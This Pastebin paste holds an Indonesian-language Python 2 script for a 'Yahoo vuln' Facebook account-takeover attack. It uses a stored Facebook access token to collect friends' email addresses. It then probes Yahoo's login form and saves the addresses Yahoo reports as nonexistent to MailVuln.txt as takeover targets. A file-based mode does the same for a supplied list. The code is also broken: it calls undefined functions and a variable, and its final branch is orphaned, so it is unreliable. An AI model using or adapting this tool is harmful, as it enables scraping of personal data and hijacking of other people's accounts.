Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib
- from multiprocessing.pool import ThreadPool
- try:
- import mechanize
- except ImportError:
- os.system('pip2 install mechanize')
- else:
- try:
- import requests
- except ImportError:
- os.system('pip2 install requests')
- from requests.exceptions import ConnectionError
- from mechanize import Browser
- reload(sys)
- sys.setdefaultencoding('utf8')
- br = mechanize.Browser()
- br.set_handle_robots(False)
- br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
- br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
- def keluar():
- print '\x1b[1;91m[!] Keluar'
- os.sys.exit()
- def jalan(z):
- for e in z + '\n':
- sys.stdout.write(e)
- sys.stdout.flush()
- time.sleep(0.1)
- def tik():
- titik = [
- '. ', '.. ', '... ']
- for o in titik:
- print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o,
- sys.stdout.flush()
- time.sleep(1)
- back = 0
- threads = []
- berhasil = []
- cekpoint = []
- gagal = []
- vulnot = '\x1b[31mNot Vuln'
- vuln = '\x1b[32mVuln'
- def menu():
- os.system('reset')
- try:
- toket = open('login.txt', 'r').read()
- except IOError:
- os.system('reset')
- print '\x1b[1;91m[!] Token tidak ditemukan'
- os.system('rm -rf login.txt')
- time.sleep(1)
- login()
- else:
- try:
- otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)
- a = json.loads(otw.text)
- nama = a['name']
- id = a['id']
- except KeyError:
- os.system('reset')
- print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint'
- os.system('rm -rf login.txt')
- time.sleep(1)
- login()
- except requests.exceptions.ConnectionError:
- print '\x1b[1;91m[!] Tidak ada koneksi'
- keluar()
- os.system('reset')
- print logo
- print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90'
- print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama
- print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90'
- print '\x1b[1;37;40m1. yahoo vuln'
- print '\x1b[1;31;40m0. Keluar '
- print
- pilih()
- def pilih():
- zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
- if zedd == '':
- print '\x1b[1;91m[!] WAJIB ISI SOB'
- pilih()
- else:
- if zedd == '1':
- yahoo()
- else :
- if zedd == '0':
- keluar()
- else:
- print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada'
- pilih()
- def menu_yahoo():
- os.system('reset')
- try:
- toket = open('login.txt', 'r').read()
- except IOError:
- print '\x1b[1;91m[!] Token tidak ditemukan'
- os.system('rm -rf login.txt')
- time.sleep(1)
- login()
- os.system('reset')
- print logo
- print 40 * '\x1b[1;97m\xe2\x95\x90'
- print '\x1b[1;37;40m1. Dari teman facebook'
- print '\x1b[1;37;40m2. Gunakan File'
- print '\x1b[1;31;40m0. Kembali'
- print
- yahoo_pilih()
- def yahoo_pilih():
- go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
- if go == '':
- print '\x1b[1;91m[!] Jangan kosong'
- yahoo_pilih()
- else:
- if go == '1':
- yahoofriends()
- else:
- if go == '2':
- yahoolist()
- else:
- if go == '0':
- menu_hack()
- else:
- print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada'
- yahoo_pilih()
- def yahoofriends():
- os.system('reset')
- try:
- toket = open('login.txt', 'r').read()
- except IOError:
- print '\x1b[1;91m[!] Token tidak ditemukan'
- os.system('rm -rf login.txt')
- time.sleep(1)
- login()
- os.system('reset')
- print logo
- print 40 * '\x1b[1;97m\xe2\x95\x90'
- mpsh = []
- jml = 0
- jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
- teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
- kimak = json.loads(teman.text)
- save = open('MailVuln.txt', 'w')
- print 40 * '\x1b[1;97m\xe2\x95\x90'
- for w in kimak['data']:
- jml += 1
- mpsh.append(jml)
- id = w['id']
- nama = w['name']
- links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
- z = json.loads(links.text)
- try:
- mail = z['email']
- yahoo = re.compile('@.*')
- otw = yahoo.search(mail).group()
- if 'yahoo.com' in otw:
- br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
- br._factory.is_html = True
- br.select_form(nr=0)
- br['username'] = mail
- klik = br.submit().read()
- jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
- try:
- pek = jok.search(klik).group()
- except:
- print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]'
- continue
- if '"messages.ERROR_INVALID_USERNAME">' in pek:
- save.write(mail + '\n')
- print 40 * '\x1b[1;97m\xe2\x95\x90'
- print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + nama
- print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id
- print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]'
- print 40 * '\x1b[1;97m\xe2\x95\x90'
- else:
- print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]'
- except KeyError:
- pass
- print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
- print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt'
- save.close()
- raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
- menu_yahoo()
- def yahoolist():
- os.system('reset')
- try:
- toket = open('login.txt', 'r').read()
- except IOError:
- print '\x1b[1;91m[!] Token tidak ditemukan'
- os.system('rm -rf login.txt')
- time.sleep(1)
- login()
- else:
- os.system('reset')
- print logo
- print 40 * '\x1b[1;97m\xe2\x95\x90'
- files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m')
- try:
- total = open(files, 'r')
- mail = total.readlines()
- except IOError:
- print '\x1b[1;91m[!] File tidak ada'
- raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
- menu_yahoo()
- mpsh = []
- jml = 0
- jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
- save = open('MailVuln.txt', 'w')
- print 40 * '\x1b[1;97m\xe2\x95\x90'
- print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]'
- print
- mail = open(files, 'r').readlines()
- for pw in mail:
- mail = pw.replace('\n', '')
- jml += 1
- mpsh.append(jml)
- yahoo = re.compile('@.*')
- otw = yahoo.search(mail).group()
- if 'yahoo.com' in otw:
- br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
- br._factory.is_html = True
- br.select_form(nr=0)
- br['username'] = mail
- klik = br.submit().read()
- jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
- try:
- pek = jok.search(klik).group()
- except:
- print '\x1b[1;91m ' + mail
- continue
- if '"messages.ERROR_INVALID_USERNAME">' in pek:
- save.write(mail + '\n')
- print '\x1b[1;92m ' + mail
- else:
- print '\x1b[1;91m ' + mail
- print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
- print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt'
- save.close()
- raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
- menu_yahoo()
- else:
- if '"is_shielded":false' in res.text:
- os.system('reset')
- print logo
- print 40 * '\x1b[1;97m\xe2\x95\x90'
- print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan'
- raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
- lain()
- else:
- print '\x1b[1;91m[!] Error'
- keluar()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement